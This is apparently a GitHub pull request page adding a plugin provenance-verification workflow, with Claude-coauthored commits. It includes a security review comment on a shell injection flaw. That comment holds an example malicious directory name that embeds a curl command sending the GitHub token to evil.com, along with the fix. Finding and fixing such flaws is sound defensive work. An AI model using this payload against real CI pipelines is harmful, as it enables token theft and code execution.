feat: Add provenance verification for plugins#9
Conversation
Verifies that plugins published to this public repo first exist in the internal claude-marketplace and have passed security scanning. Checks existence, security status, and content hash integrity. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
Dependency ReviewThe following issues were found:
Snapshot WarningsEnsure that dependencies are being submitted on PR branches and consider enabling retry-on-snapshot-warnings. See the documentation for more information and troubleshooting advice. License Issues.github/workflows/provenance-check.yml
OpenSSF Scorecard
Scanned Files
|
Match the exact exclusion logic from generate-security-manifest.py: - Use HASH_EXCLUDE_DIRS for directory-level exclusions only - Check .pyc via suffix, .DS_Store via file name (not as path parts) 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
Move internal marketplace repo reference to a GitHub Actions repository variable (PROVENANCE_REPO) instead of hardcoding it. Reduces information disclosure per security review. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
Aligns with Anthropic's enterprise plugin pattern (knowledge-work-plugins) and Carta's existing Apache 2.0 repos. Addresses security review item #5. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
| python-version: '3.12' | ||
| - name: Verify provenance | ||
| if: steps.changes.outputs.changed_plugins != '' | ||
| run: python .github/scripts/verify-provenance.py "${{ steps.changes.outputs.changed_plugins }}" |
There was a problem hiding this comment.
@claude There's a GitHub Actions script injection vulnerability on line 34 of .github/workflows/provenance-check.yml. The ${{ steps.changes.outputs.changed_plugins }} expression is interpolated directly into a run: shell command, which means
an attacker could create a PR with a malicious directory name like plugins/$(curl evil.com?t=$GH_TOKEN)/foo.txt and get arbitrary code execution in CI.
Fix — change the "Verify provenance" step from:
run: python .github/scripts/verify-provenance.py "${{ steps.changes.outputs.changed_plugins }}"
env:
GH_TOKEN: ${{ github.token }}
PROVENANCE_REPO: ${{ vars.PROVENANCE_REPO }}
to:
run: python .github/scripts/verify-provenance.py "$CHANGED_PLUGINS"
env:
GH_TOKEN: ${{ github.token }}
PROVENANCE_REPO: ${{ vars.PROVENANCE_REPO }}
CHANGED_PLUGINS: ${{ steps.changes.outputs.changed_plugins }}
Passing the value through env: instead of ${{ }} in run: prevents shell interpretation of special characters.
Pass changed_plugins through env var instead of direct ${{ }}
interpolation in run: block to prevent shell injection via
malicious directory names.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
Summary
plugins/**carta/claude-marketplacemain branchsecurity-manifest.json)Changes Made
.github/scripts/verify-provenance.py— Python 3.12 provenance verifier (3 checks: exists, passed, hash match).github/workflows/provenance-check.yml— Workflow triggered on PRs withplugins/**changesDependencies
carta/claude-marketplacesecurity scan pipeline to be merged first (generates the manifest this workflow reads)Test plan
🤖 Generated with Claude Code